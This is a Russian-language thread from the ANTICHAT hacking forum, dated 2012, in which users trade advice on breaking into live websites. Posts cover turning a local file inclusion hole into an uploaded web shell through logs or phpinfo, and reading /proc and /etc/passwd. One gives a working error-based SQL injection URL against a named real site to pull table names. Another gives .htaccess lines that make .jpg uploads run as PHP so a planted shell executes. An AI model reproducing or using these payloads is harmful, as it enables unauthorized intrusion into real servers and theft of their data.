ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
21.03.2012, 05:11
|
|
Постоянный
Регистрация: 19.09.2008
Сообщений: 511
Провел на форуме:
1866685
Репутация:
340
|
|
Ребят, что делать если proc/self/environ пуст?
Хотя тут всё ок
proc/self/status
proc/self/cmdline (/usr/sbin/apache2-kstart)
etc/passwd
|
|
|
21.03.2012, 05:22
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Fooog
Во-первых, к переменным окружения не всегда есть доступ.
Во-вторых, там не всегда есть данные, которыми можно манипулировать.
В -третьих, твои слова:
Сообщение от None
хоть с null байтом, хоть без
Звучат весьма, мммммм, эпично =\
|
|
|
|
21.03.2012, 11:02
|
|
Постоянный
Регистрация: 19.09.2008
Сообщений: 511
Провел на форуме:
1866685
Репутация:
340
|
|
ну так а что в таком случае делать?
|
|
|
|
21.03.2012, 11:28
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от Fooog
Fooog said:
Tigger, я только вчера LFI уязвимость начал разбирать ;D
зы
ну так а что в таком случае делать?
искать логи и заливать шел через них
|
|
|
|
21.03.2012, 13:03
|
|
Guest
Сообщений: n/a
Провел на форуме:
97332
Репутация:
38
|
|
Сообщение от Fooog
Fooog said:
Tigger, я только вчера LFI уязвимость начал разбирать ;D
зы
ну так а что в таком случае делать?
Если на сервере (именно на всем сервере на любом сайте) есть phpinfo - можно спокойно залить шелл через LFI.
|
|
|
|
21.03.2012, 15:00
|
|
Guest
Сообщений: n/a
Провел на форуме:
45774
Репутация:
26
|
|
как раскрутить через error based?
http://www.sirirajmedj.com/content.php?content_id=2554
|
|
|
|
21.03.2012, 15:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от smirk
smirk said:
как раскрутить через error based?
http://www.sirirajmedj.com/content.php?content_id=2554
Например так:
http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(sele ct+count(*),concat((select+table_name+from+informa tion_schema.tables+limit+1,1),floor(rand(0)*2))x+f rom+information_schema.tables+group+by+x)a)--
Смотри исходник(внизу):
|
|
|
|
21.03.2012, 15:30
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
а вот такой вопрос, залил шелл на сайт через админку, открываю его а мне пишет
500 Внутренняя ошибка сервера, я тут гдето видел что нужно залить файл htaccess а что в нём должно быть написано чтобы всё работало?
|
|
|
|
21.03.2012, 15:38
|
|
Guest
Сообщений: n/a
Провел на форуме:
124363
Репутация:
11
|
|
Код:
Code:
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg
|
|
|
|
21.03.2012, 15:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
45774
Репутация:
26
|
|
Сообщение от Ereee
Ereee said:
Например так:
http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(sele ct+count(*),concat((select+table_name+from+informa tion_schema.tables+limit+1,1),floor(rand(0)*2))x+f rom+information_schema.tables+group+by+x)a)--
Смотри исходник(внизу):
спасибо большое, ток я не могу тебе + поставить
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
